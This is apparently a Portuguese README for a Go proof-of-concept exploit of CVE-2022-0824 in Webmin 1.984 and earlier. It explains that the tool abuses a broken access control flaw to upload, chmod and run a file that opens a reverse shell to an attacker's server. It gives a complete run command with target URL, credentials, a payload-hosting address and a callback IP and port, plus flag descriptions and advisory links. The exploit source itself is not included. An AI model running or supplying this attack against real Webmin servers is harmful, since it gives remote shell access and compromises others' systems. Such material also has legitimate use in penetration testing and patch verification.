
Exploração POC para CVE-2022-0824
RCE em Webmin <= 1.984
CVE-2022-0824 e CVE-2022-0829
Isso explora uma BAC vuln no Webmin para fazer upload de um arquivo malicioso, altera as permissões no arquivo e executa o arquivo. O arquivo, criado na função makePayload, é um reverse shell de volta para um servidor controlado pelo atacante.
go run cve-2022-0824.go -t "https://172.16.177.132:10000" -c "username:password" -sl 172.16.177.1:8999 -s 172.16.177.1 -p 4444
t -> url alvo
c -> credenciais para o webmin
sl -> seu IP e porta do servidor local para hospedar seu payload
s -> ip de callback
p -> porta de callback
https://www.webmin.com/security.html
https://huntr.dev/bounties/d0049a96-de90-4b1a-9111-94de1044f295/
https://nvd.nist.gov/vuln/detail/CVE-2022-0824